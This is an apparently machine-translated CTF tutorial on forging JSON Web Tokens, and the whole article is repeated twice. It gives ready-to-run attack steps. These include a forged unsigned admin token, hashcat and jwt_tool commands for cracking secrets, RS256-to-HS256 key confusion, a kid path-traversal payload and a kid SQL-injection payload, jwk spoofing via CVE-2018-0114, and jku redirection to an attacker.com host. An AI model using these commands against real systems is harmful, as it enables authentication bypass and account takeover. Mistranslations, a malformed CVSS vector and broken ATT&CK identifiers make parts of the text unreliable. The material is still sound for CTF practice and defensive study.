Structure JWT: What to See Before Attack
JSON Web Token is a three-part line separated by points: header.payload.signature. Each part is encoded in base64url - a base64 option with replacement + on -, / on _ and without = at the end. The token line always starts with eyJ – base64url-coding of the opening bracket of the JSON object. Seen eyJ in a cookie or title – before you JWT. Make no mistake. More details – in our review, creating ctf tasks.
Where to find a token in a CTF task
Before attacking, the token must be found. In the JWT web tasks, the CTF hides in one of four locations:
Cookies – fields jwt, token, session Or a custom name. Visible in the Storage tab in DevTools or via intercept in Burp Suite Proxy.
Title Authorization – format Bearer eyJ0eXAi.... It is caught in Burp Proxy or Network tab.
API response body – the server returns the token to JSON when authenticating, usually in the field access_token or token.
DOM storage – localStorage and sessionStorage in SPA applications. Delivered through console.log(localStorage) in DevTools.
The first step is to intercept any authenticated query and find a three-part string starting with eyJ. If the token is not found in the obvious places, check the endpoint response /login or /api/auth – happens, JWT comes only in the body of the answer, and client JavaScript hands put it in the header of subsequent requests.
Parsing Header and Payload
You can decode JWT on jwt.io (visual editor with signature verification), via CyberChef from GCHQ or command in the terminal:
echo '<часть>' | tr '_-' '/+' | base64 -d
Typical header CTF tasks: {"typ":"JWT","alg":"HS256"}. The field alg First thing we look at. HS256 – symmetrical HMAC-SHA256: the same secret to create and verify the signature. RS256 – asymmetrical RSA-SHA256: private key signs, public checks. Significance none means no signature – and this is the first vector of attack.
In payload we are looking for custom claims, controlling privileges: "role":"user", "isAdmin":false, "username":"guest". Standard by RFC 7519 - iat (time of creation), exp (expiration time), sub (subject ID) - also critical: token with exp in the past, the server will reject, and you will have to generate fresh.
Payload is not encrypted – anyone will read the contents through base64url-decoding. All JWT security is on the signature. For HS256 it is calculated as HMAC-SHA256(base64url(header) + "." + base64url(payload), SECRET_KEY). Changing a single byte to a header or payload breaks the signature – if the server correctly checks it. Here is “if” and makes JWT such a fertile vector on the CTF.
Business logic of attack on JWT
Why would an attacking JWT token hack? JWT is the “passport” of the user in the application. Having forged the claims, the attacker receives a foreign session, increases the privileges to admin or bypasses the access control in its entirety. According to Verizon DBIR 2025, 26% of confirmed violations are web attacks, and bypassing JWT authentication is one of the typical scenarios. In MITRE ATT&CK, JWT forges a chain: Exploit Public-Facing Application (T1190, Initial Access) – we find a vulnerability in token processing, Web Cookies (T166.001, Credential Access) – we create or modify the token for seizing the session, Application Access Token (T1550.001, tower)
Attack on the algorithm none JWT: complete bypass signature
The fastest JWT operation in the CTF is the most offensive when not tested first. JWT specification (RFC 7518) allows the value "alg":"none" – lack of signature. If the server library trusts the field alg from the token itself and does not check it with the whitelist of permissible algorithms, the signature can be removed, and payload to replace. As Tim McLean noted in the analysis on Auth0: “Unfortunately, some libraries treated tokens signed with the one algorithm as a token valid with a signature.”
In fact, we say to the server “I am without a signature, and so believe.” And he believes.
Step-by-step manual operation
Decode the header:
echo 'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9' | tr '_-' '/+' | base64 -d
# {"typ":"JWT","alg":"HS256"}
Change alg on none, encode back to base64url. Similar to payload: "role":"user" replace on "role":"admin", encoding. Collect the final token:
eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJ1c2VybmFtZSI6ImFkbWluIiwicm9sZSI6ImFkbWluIn0.
The point at the end is the signature is empty, but the divider is mandatory. Some servers accept token without trailing dot (header.payload), others, only with him. If one option returned 401, try the second one. Sending via curl -H "Cookie: jwt=<token>" <target_url> and look at the answer: the status 200 and the modified content – bypassing the authentication JWT worked.
Automation via jwt_tool
One command closes the entire algorithm of the none JWT vulnerability:
python3 jwt_tool.py <JWT> -X a
The tool automatically generates tokens with variations none: standard writing, None, NONE, nOnE, noNe. Incomplete filtering servers on the register often pass one of the variations - according to OWASP Web Security Testing Guide, bypassing through case-sensitive verification remains a typical implementation error. In practice nOnE works more often than would be desirable.
When none is not working
Modern libraries are blocking none default: PyJWT 2.x+, jsonwebtoken 9.x for Node.js, java-jwt from Auth0 — all reject unsigned tokens. On the CTF level Hard, the task author usually uses an up-to-date library with a hard whitelist of algorithms.
Signs: the server returns 401 or 403 to all variations, in response - a clear error ("Invalid algorithm" or "Signature verification failed"). But do not rush to give up: some servers reject none, but accept a token with an arbitrary signature (in fact, without checking it) - try python3 jwt_tool.py <JWT> -I -pc role -pv admin without changing the algorithm. If it didn’t go away, let’s move on to selecting JWT’s secret.
Selection of the secret JWT: hashcat and jwt_tool
If the server rejects correctly none, but uses HS256 with a short or vocabulary secret – the key is selected offline in seconds. According to MITRE ATT&CK, this is Password Cracking (T1110.002, Credential Access). Atomic Red Team includes a "Password Cracking with Hashcat" test to verify the detection of this technique.
In CTF, weak secrets are laid by the authors intentionally: secret, password, admin123, iloveyou, your-256-bit-secret (default jwt.io – surprisingly, how many times he got caught in the competition). In real-world applications, the situation isn’t much better — according to the IBM X-Force Threat Intelligence Index 2025, the increase in attacks using valid credentials was 71% year on year, and predictable secrets remain the norm.
hashcat: GPU-accelerated brutforce JWT secret
hashcat -a 0 -m 16500 \
"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6Imd1ZXN0In0.ZvkYYnyM929FM4NW9_hSis7_x3_9rymsDAx9yuOcc1I" \
/usr/share/wordlists/rockyou.txt
Flag -a 0 – attack on the dictionary, -m 16500 – JWT mode for HS256/HS384/HS512. At the RTX 3060 level GPU, rockyou.txt (14 million records) takes seconds. On the CPU - from a few minutes to half an hour depending on iron. Successful result is displayed in the format <JWT>:найденный_секрет.
If rockyou.txt did not give a result - try custom lists: default values from the documentation of frameworks (changeme, supersecretkey, jwt_secret), variations of the application name and its domain, standard values from GitHub project repositories. On one CTF, the secret turned out to be the name of the task itself in the lower case – such things do not cover the dictionaries, but the head should.
jwt_tool: alternative without GPU
python3 jwt_tool.py <JWT> -C -d /usr/share/wordlists/rockyou.txt
Flag -C triggers the crack mode. It works slower than hashcat, but does not require CUDA/ROCm drivers and outputs the found key directly to the terminal. For short custom dictionaries up to 100K records, enough for the eyes. To check one specific secret: python3 jwt_tool.py <JWT> -C -p "secret123".
Admin token generation after hacking
Having received a secret (suppose, secret123), generate a token with the necessary claims:
python3 jwt_tool.py <JWT> -T -S hs256 -p "secret123"
Flag -T opens an interactive mode - change role on admin, username to the right value, confirm. The tool signs a modified payload with the found key and outputs the finished JWT to be substabled into the query.
An alternative path is jwt.io: insert the original token, edit the payload in the visual editor, enter a secret in the “Verify Signature” field – decoding and signature occur in real time. Convenient for quick prototyping when the laziness to return to the terminal.
Confusion attack JWT: substitution RS256 on HS256
When neither none, neither the brutforce secret did not give a result, and in the header is worth RS256 – time for a JWT instance. This JWT token forgery exploits a fundamental problem: the server takes value alg from the token header instead of checking it on whitelist.
Why does it work
RS256 uses a private key for signature and public for verification. HS256 uses the same secret for both operations. If the server sees "alg":"HS256" in header, it will apply the same key for verification that would be used for RS256 – public. And the public key, by definition, is available to everyone. The attacker downloads it, signs an arbitrary payload via HS256 with a public key as a secret — and the server accepts the token as valid.
Read again. The server itself gives the key, which can be signed by any token. Beautiful, right?
As Tim McLean described in a study on Auth0: “If a server is asbyped a token signed with RSA, but getting actually token signed with HMAC, will think the public key actually is an HMAC secret key.” The Confusion attack affected many JWT libraries: node-jsonwebtoken, pyjwt, namshi/jose, php-jwt - all before the release of the fixes were vulnerable. Recommendation Auth0: the library must accept the parameter algorithm clearly in the verification function, not pulling it out of the header.
Where to get a public key
In CTF tasks, the public key is usually available on one of the endpoints: /.well-known/jwks.json (standard path to RFC 7517) /jwks, /api/v1/jwks or custom variations. Sometimes the key is in the source of the application – if the task gives access to the code or Dockerfile. Less often - in the token itself (field pk in payload). According to PortSwigger Web Security Academy, public keys by definition are not a secret, so they are deliberately placed on available endpoints.
Step-by-Step Operation
Receiving a public key in PEM format (file public.pem:
python3 jwt_tool.py <JWT> -S hs256 -k public.pem
For simultaneous modification of the sanctions:
python3 jwt_tool.py <JWT> -I -pc role -pv admin -S hs256 -k public.pem
The tool changes alg on HS256, modifys payload, signs with a public key as an HMAC secret and outputs a ready-made token.
Critical nuance
The key bar should match the server byte in byte. Extra line translation at the end of the file, missing \n between -----BEGIN PUBLIC KEY----- and the key itself, the difference in coding (UTF-8 vs ASCII) - everything breaks the signature. I've lost 20 minutes on this more than once. If the confusion does not work with the correct key, check the file: file public.pem will show the encoding, xxd public.pem | tail – presence of trailing bytes. Sometimes it helps to re-preserve: openssl rsa -in public.pem -pubin -out clean.pem.
Advanced JWT attacks: kid, jwk and jku
On the Hard CTF and in the real vulnerabilities of JWT authentication, attacks are found through header parameters that go beyond alg. These parameters control which key the server uses to verify the signature – and if they are injectable, the attacker controls the entire verification process.
kid: injection via Key ID
Key ID (kid) - a non-binding header parameter indicating the server which key to use for verification. If the value kid put in the file path or SQL request without sanitization, two vectors are opened.
Path traversal: meaning kid indicates a file with predictable content. /dev/null in Unix always returns an empty line - sign the token with an empty key:
python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""
Server reads the “key” from /dev/null, gets a void, checks the signature with an empty secret - the signature matches. Elegant. Alternative – any file with known contents at the root of the web server (CSS, JS): python3 jwt_tool.py <JWT> -I -hc kid -hv "путь/к/файлу" -S hs256 -p "содержимое_файла".
SQL injection: if kid is substituted in the request to the database for the selection of the key, the classic injection allows you to control the returned value:
python3 jwt_tool.py <JWT> -I -pc role -pv admin -hc kid -hv "' UNION SELECT 'known_value'--" -S hs256 -p "known_value"
We sign the token with a well-known string and make SQL return the same line. Two in one, and SQLi, and a fake JWT.
JWK spoofing and CVE-2018-0114
Parameter jwk in the header allows you to embed the public key directly into the token. Vulnerable Cisco node-jose version library up to 0.11.0 (CVE-2018-0114, CVSS 7.5 HIGH by vector CVSS:3.1/AV:AV:AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N, CWE-347 Improper Verification of Cryptographic Signature) entrusted the header key for signature verification. Interpretation of the vector: the attack is available over the network (AV:N), requires neither privileges (PR:N) nor user actions (UI:N), while completely compromising integrity (I:H).
The attacker generated an arbitrary pair of RSA keys, signed the token with its private key, inserted a public in the header through the parameter jwk – and the server accepted the signature as valid. In fact, “here’s my passport, I drew it myself, but you see – the seal is on the spot.” According to CISA-ADP, for CVE-2018-0114 there is a public PoC (SSVC: decision Track*, exploitation: poc, automatable: yes), and the EPSS estimate is 0.4265 (98th percentile – Top 5% for probability of operation). Public PoC repository: zi0Black/POC-CVE-2018-0114 on GitHub. Correction — update node-jose to 0.11.0+.
jku: changing the URL of the key set
Parameter jku (JSON Web Key Set URL) points to an external URL with a set of public keys in JWKS format. If the server does not validate the domain jku on whitelist, the attacker places its JWKS on a controlled server, signs the token with its own key and indicates jku on your URL. To bypass domain filters, use: open redirect on the target server, add @attacker.com after hostname or subdomain format trusted.com.attacker.com. The jwt_tool tool creates a file when you first start jwttool_custom_jwks.json – a ready set of keys for this attack.
Kill chain: order of action in JWT task on CTF
Not all attacks work on every task — and spend 20 minutes on confusion when the secret was password, hurtful. Here is the check-up order saving time on the competition:
Intercept the token (cookie, Authorization header, localStorage).
Decode header, define alg and the availability of additional parameters (kid, jku, jwk).
If alg = HS256, try none (fastest): python3 jwt_tool.py <JWT> -X a.
If none blocked – brutality secret: hashcat -a 0 -m 16500 <JWT> rockyou.txt.
If alg = RS256, look for the public key and try the RS256 RS256 → HS256.
If there is a header kid – test path traversal and SQL injection.
If there is jku or jwk - trying the keys change.
JSON Web Token is a three-part line separated by points: header.payload.signature. Each part is encoded in base64url - a base64 option with replacement + on -, / on _ and without = at the end. The token line always starts with eyJ – base64url-coding of the opening bracket of the JSON object. Seen eyJ in a cookie or title – before you JWT. Make no mistake. More details – in our review, creating ctf tasks.
Where to find a token in a CTF task
Before attacking, the token must be found. In the JWT web tasks, the CTF hides in one of four locations:
Cookies – fields jwt, token, session Or a custom name. Visible in the Storage tab in DevTools or via intercept in Burp Suite Proxy.
Title Authorization – format Bearer eyJ0eXAi.... It is caught in Burp Proxy or Network tab.
API response body – the server returns the token to JSON when authenticating, usually in the field access_token or token.
DOM storage – localStorage and sessionStorage in SPA applications. Delivered through console.log(localStorage) in DevTools.
The first step is to intercept any authenticated query and find a three-part string starting with eyJ. If the token is not found in the obvious places, check the endpoint response /login or /api/auth – happens, JWT comes only in the body of the answer, and client JavaScript hands put it in the header of subsequent requests.
Parsing Header and Payload
You can decode JWT on jwt.io (visual editor with signature verification), via CyberChef from GCHQ or command in the terminal:
echo '<часть>' | tr '_-' '/+' | base64 -d
Typical header CTF tasks: {"typ":"JWT","alg":"HS256"}. The field alg First thing we look at. HS256 – symmetrical HMAC-SHA256: the same secret to create and verify the signature. RS256 – asymmetrical RSA-SHA256: private key signs, public checks. Significance none means no signature – and this is the first vector of attack.
In payload we are looking for custom claims, controlling privileges: "role":"user", "isAdmin":false, "username":"guest". Standard by RFC 7519 - iat (time of creation), exp (expiration time), sub (subject ID) - also critical: token with exp in the past, the server will reject, and you will have to generate fresh.
Payload is not encrypted – anyone will read the contents through base64url-decoding. All JWT security is on the signature. For HS256 it is calculated as HMAC-SHA256(base64url(header) + "." + base64url(payload), SECRET_KEY). Changing a single byte to a header or payload breaks the signature – if the server correctly checks it. Here is “if” and makes JWT such a fertile vector on the CTF.
Business logic of attack on JWT
Why would an attacking JWT token hack? JWT is the “passport” of the user in the application. Having forged the claims, the attacker receives a foreign session, increases the privileges to admin or bypasses the access control in its entirety. According to Verizon DBIR 2025, 26% of confirmed violations are web attacks, and bypassing JWT authentication is one of the typical scenarios. In MITRE ATT&CK, JWT forges a chain: Exploit Public-Facing Application (T1190, Initial Access) – we find a vulnerability in token processing, Web Cookies (T166.001, Credential Access) – we create or modify the token for seizing the session, Application Access Token (T1550.001, tower)
Attack on the algorithm none JWT: complete bypass signature
The fastest JWT operation in the CTF is the most offensive when not tested first. JWT specification (RFC 7518) allows the value "alg":"none" – lack of signature. If the server library trusts the field alg from the token itself and does not check it with the whitelist of permissible algorithms, the signature can be removed, and payload to replace. As Tim McLean noted in the analysis on Auth0: “Unfortunately, some libraries treated tokens signed with the one algorithm as a token valid with a signature.”
In fact, we say to the server “I am without a signature, and so believe.” And he believes.
Step-by-step manual operation
Decode the header:
echo 'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9' | tr '_-' '/+' | base64 -d
# {"typ":"JWT","alg":"HS256"}
Change alg on none, encode back to base64url. Similar to payload: "role":"user" replace on "role":"admin", encoding. Collect the final token:
eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJ1c2VybmFtZSI6ImFkbWluIiwicm9sZSI6ImFkbWluIn0.
The point at the end is the signature is empty, but the divider is mandatory. Some servers accept token without trailing dot (header.payload), others, only with him. If one option returned 401, try the second one. Sending via curl -H "Cookie: jwt=<token>" <target_url> and look at the answer: the status 200 and the modified content – bypassing the authentication JWT worked.
Automation via jwt_tool
One command closes the entire algorithm of the none JWT vulnerability:
python3 jwt_tool.py <JWT> -X a
The tool automatically generates tokens with variations none: standard writing, None, NONE, nOnE, noNe. Incomplete filtering servers on the register often pass one of the variations - according to OWASP Web Security Testing Guide, bypassing through case-sensitive verification remains a typical implementation error. In practice nOnE works more often than would be desirable.
When none is not working
Modern libraries are blocking none default: PyJWT 2.x+, jsonwebtoken 9.x for Node.js, java-jwt from Auth0 — all reject unsigned tokens. On the CTF level Hard, the task author usually uses an up-to-date library with a hard whitelist of algorithms.
Signs: the server returns 401 or 403 to all variations, in response - a clear error ("Invalid algorithm" or "Signature verification failed"). But do not rush to give up: some servers reject none, but accept a token with an arbitrary signature (in fact, without checking it) - try python3 jwt_tool.py <JWT> -I -pc role -pv admin without changing the algorithm. If it didn’t go away, let’s move on to selecting JWT’s secret.
Selection of the secret JWT: hashcat and jwt_tool
If the server rejects correctly none, but uses HS256 with a short or vocabulary secret – the key is selected offline in seconds. According to MITRE ATT&CK, this is Password Cracking (T1110.002, Credential Access). Atomic Red Team includes a "Password Cracking with Hashcat" test to verify the detection of this technique.
In CTF, weak secrets are laid by the authors intentionally: secret, password, admin123, iloveyou, your-256-bit-secret (default jwt.io – surprisingly, how many times he got caught in the competition). In real-world applications, the situation isn’t much better — according to the IBM X-Force Threat Intelligence Index 2025, the increase in attacks using valid credentials was 71% year on year, and predictable secrets remain the norm.
hashcat: GPU-accelerated brutforce JWT secret
hashcat -a 0 -m 16500 \
"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6Imd1ZXN0In0.ZvkYYnyM929FM4NW9_hSis7_x3_9rymsDAx9yuOcc1I" \
/usr/share/wordlists/rockyou.txt
Flag -a 0 – attack on the dictionary, -m 16500 – JWT mode for HS256/HS384/HS512. At the RTX 3060 level GPU, rockyou.txt (14 million records) takes seconds. On the CPU - from a few minutes to half an hour depending on iron. Successful result is displayed in the format <JWT>:найденный_секрет.
If rockyou.txt did not give a result - try custom lists: default values from the documentation of frameworks (changeme, supersecretkey, jwt_secret), variations of the application name and its domain, standard values from GitHub project repositories. On one CTF, the secret turned out to be the name of the task itself in the lower case – such things do not cover the dictionaries, but the head should.
jwt_tool: alternative without GPU
python3 jwt_tool.py <JWT> -C -d /usr/share/wordlists/rockyou.txt
Flag -C triggers the crack mode. It works slower than hashcat, but does not require CUDA/ROCm drivers and outputs the found key directly to the terminal. For short custom dictionaries up to 100K records, enough for the eyes. To check one specific secret: python3 jwt_tool.py <JWT> -C -p "secret123".
Admin token generation after hacking
Having received a secret (suppose, secret123), generate a token with the necessary claims:
python3 jwt_tool.py <JWT> -T -S hs256 -p "secret123"
Flag -T opens an interactive mode - change role on admin, username to the right value, confirm. The tool signs a modified payload with the found key and outputs the finished JWT to be substabled into the query.
An alternative path is jwt.io: insert the original token, edit the payload in the visual editor, enter a secret in the “Verify Signature” field – decoding and signature occur in real time. Convenient for quick prototyping when the laziness to return to the terminal.
Confusion attack JWT: substitution RS256 on HS256
When neither none, neither the brutforce secret did not give a result, and in the header is worth RS256 – time for a JWT instance. This JWT token forgery exploits a fundamental problem: the server takes value alg from the token header instead of checking it on whitelist.
Why does it work
RS256 uses a private key for signature and public for verification. HS256 uses the same secret for both operations. If the server sees "alg":"HS256" in header, it will apply the same key for verification that would be used for RS256 – public. And the public key, by definition, is available to everyone. The attacker downloads it, signs an arbitrary payload via HS256 with a public key as a secret — and the server accepts the token as valid.
Read again. The server itself gives the key, which can be signed by any token. Beautiful, right?
As Tim McLean described in a study on Auth0: “If a server is asbyped a token signed with RSA, but getting actually token signed with HMAC, will think the public key actually is an HMAC secret key.” The Confusion attack affected many JWT libraries: node-jsonwebtoken, pyjwt, namshi/jose, php-jwt - all before the release of the fixes were vulnerable. Recommendation Auth0: the library must accept the parameter algorithm clearly in the verification function, not pulling it out of the header.
Where to get a public key
In CTF tasks, the public key is usually available on one of the endpoints: /.well-known/jwks.json (standard path to RFC 7517) /jwks, /api/v1/jwks or custom variations. Sometimes the key is in the source of the application – if the task gives access to the code or Dockerfile. Less often - in the token itself (field pk in payload). According to PortSwigger Web Security Academy, public keys by definition are not a secret, so they are deliberately placed on available endpoints.
Step-by-Step Operation
Receiving a public key in PEM format (file public.pem:
python3 jwt_tool.py <JWT> -S hs256 -k public.pem
For simultaneous modification of the sanctions:
python3 jwt_tool.py <JWT> -I -pc role -pv admin -S hs256 -k public.pem
The tool changes alg on HS256, modifys payload, signs with a public key as an HMAC secret and outputs a ready-made token.
Critical nuance
The key bar should match the server byte in byte. Extra line translation at the end of the file, missing \n between -----BEGIN PUBLIC KEY----- and the key itself, the difference in coding (UTF-8 vs ASCII) - everything breaks the signature. I've lost 20 minutes on this more than once. If the confusion does not work with the correct key, check the file: file public.pem will show the encoding, xxd public.pem | tail – presence of trailing bytes. Sometimes it helps to re-preserve: openssl rsa -in public.pem -pubin -out clean.pem.
Advanced JWT attacks: kid, jwk and jku
On the Hard CTF and in the real vulnerabilities of JWT authentication, attacks are found through header parameters that go beyond alg. These parameters control which key the server uses to verify the signature – and if they are injectable, the attacker controls the entire verification process.
kid: injection via Key ID
Key ID (kid) - a non-binding header parameter indicating the server which key to use for verification. If the value kid put in the file path or SQL request without sanitization, two vectors are opened.
Path traversal: meaning kid indicates a file with predictable content. /dev/null in Unix always returns an empty line - sign the token with an empty key:
python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""
Server reads the “key” from /dev/null, gets a void, checks the signature with an empty secret - the signature matches. Elegant. Alternative – any file with known contents at the root of the web server (CSS, JS): python3 jwt_tool.py <JWT> -I -hc kid -hv "путь/к/файлу" -S hs256 -p "содержимое_файла".
SQL injection: if kid is substituted in the request to the database for the selection of the key, the classic injection allows you to control the returned value:
python3 jwt_tool.py <JWT> -I -pc role -pv admin -hc kid -hv "' UNION SELECT 'known_value'--" -S hs256 -p "known_value"
We sign the token with a well-known string and make SQL return the same line. Two in one, and SQLi, and a fake JWT.
JWK spoofing and CVE-2018-0114
Parameter jwk in the header allows you to embed the public key directly into the token. Vulnerable Cisco node-jose version library up to 0.11.0 (CVE-2018-0114, CVSS 7.5 HIGH by vector CVSS:3.1/AV:AV:AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N, CWE-347 Improper Verification of Cryptographic Signature) entrusted the header key for signature verification. Interpretation of the vector: the attack is available over the network (AV:N), requires neither privileges (PR:N) nor user actions (UI:N), while completely compromising integrity (I:H).
The attacker generated an arbitrary pair of RSA keys, signed the token with its private key, inserted a public in the header through the parameter jwk – and the server accepted the signature as valid. In fact, “here’s my passport, I drew it myself, but you see – the seal is on the spot.” According to CISA-ADP, for CVE-2018-0114 there is a public PoC (SSVC: decision Track*, exploitation: poc, automatable: yes), and the EPSS estimate is 0.4265 (98th percentile – Top 5% for probability of operation). Public PoC repository: zi0Black/POC-CVE-2018-0114 on GitHub. Correction — update node-jose to 0.11.0+.
jku: changing the URL of the key set
Parameter jku (JSON Web Key Set URL) points to an external URL with a set of public keys in JWKS format. If the server does not validate the domain jku on whitelist, the attacker places its JWKS on a controlled server, signs the token with its own key and indicates jku on your URL. To bypass domain filters, use: open redirect on the target server, add @attacker.com after hostname or subdomain format trusted.com.attacker.com. The jwt_tool tool creates a file when you first start jwttool_custom_jwks.json – a ready set of keys for this attack.
Kill chain: order of action in JWT task on CTF
Not all attacks work on every task — and spend 20 minutes on confusion when the secret was password, hurtful. Here is the check-up order saving time on the competition:
Intercept the token (cookie, Authorization header, localStorage).
Decode header, define alg and the availability of additional parameters (kid, jku, jwk).
If alg = HS256, try none (fastest): python3 jwt_tool.py <JWT> -X a.
If none blocked – brutality secret: hashcat -a 0 -m 16500 <JWT> rockyou.txt.
If alg = RS256, look for the public key and try the RS256 RS256 → HS256.
If there is a header kid – test path traversal and SQL injection.
If there is jku or jwk - trying the keys change.